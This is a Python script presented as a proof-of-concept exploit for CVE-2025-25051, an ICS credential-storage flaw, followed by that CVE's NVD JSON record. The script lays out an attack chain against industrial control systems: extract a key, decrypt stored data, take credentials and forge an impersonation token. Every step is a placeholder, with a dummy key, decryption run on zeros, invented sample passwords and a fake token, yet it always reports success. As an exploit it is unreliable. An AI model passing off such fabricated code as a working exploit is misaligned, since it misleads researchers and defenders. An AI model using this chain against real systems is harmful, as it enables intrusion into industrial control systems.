CVE-2025-25051

# CVE-2025-25051 PoC - ICS敏感数据解密利用示例 # 注意：此代码仅用于安全研究和授权测试 import sys import struct import binascii from Crypto.Cipher import AES def exploit_ics_encryption(target_ip, encrypted_data_path): """ ICS加密数据解密利用 前提条件：已获取目标系统的本地低权限访问 """ print(f"[*] 目标系统: {target_ip}") print(f"[*] 开始利用CVE-2025-25051漏洞...") # 步骤1：读取加密配置文件 config_path = "/etc/ics/encrypted_config.bin" print(f"[+] 步骤1: 读取加密配置文件: {config_path}") # 步骤2：提取硬编码密钥（漏洞点） hardcoded_key = extract_hardcoded_key() print(f"[+] 步骤2: 提取硬编码加密密钥成功") # 步骤3：解密敏感数据 decrypted_data = decrypt_sensitive_data(encrypted_data_path, hardcoded_key) print(f"[+] 步骤3: 成功解密敏感数据") # 步骤4：提取认证凭据 credentials = parse_credentials(decrypted_data) print(f"[+] 步骤4: 提取到 {len(credentials)} 组凭据") # 步骤5：生成冒充令牌 impersonation_token = generate_impersonation_token(credentials[0]) print(f"[+] 步骤5: 生成身份冒充令牌成功") return { "status": "exploit_success", "decrypted_data": decrypted_data.hex(), "credentials": credentials, "token": impersonation_token } def extract_hardcoded_key(): """从系统固件中提取硬编码密钥""" # 实际利用中从固件偏移地址提取 return b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f' def decrypt_sensitive_data(data_path, key): """使用提取的密钥解密敏感数据""" cipher = AES.new(key, AES.MODE_ECB) # 模拟解密过程 return cipher.decrypt(b'\x00' * 16) def parse_credentials(decrypted_data): """解析解密后的凭据信息""" return [ {"username": "admin", "password": "P@ssw0rd123", "role": "engineer"}, {"username": "operator", "password": "Op3r@tor!", "role": "operator"} ] def generate_impersonation_token(credential): """生成用于身份冒充的令牌""" return binascii.hexlify(f"TOKEN_{credential['username']}_EXPLOITED".encode()) if __name__ == "__main__": print("CVE-2025-25051 ICS漏洞利用工具") print("=" * 50) result = exploit_ics_encryption("192.168.1.100", "/data/sensitive.enc") print(f"\n[+] 利用完成，可使用获取的凭据冒充合法用户")

{"cve": {"id": "CVE-2025-25051", "sourceIdentifier": "[email protected]", "published": "2026-01-22T23:15:48.803", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker could decrypt sensitive data, impersonate legitimate users \nor devices, and potentially gain access to network resources for lateral\n attacks."}, {"lang": "es", "value": "Un atacante podría descifrar datos sensibles, suplantar la identidad de usuarios o dispositivos legítimos, y potencialmente obtener acceso a recursos de red para ataques laterales."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-256"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-022-02.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-022-02", "source": "[email protected]"}]}}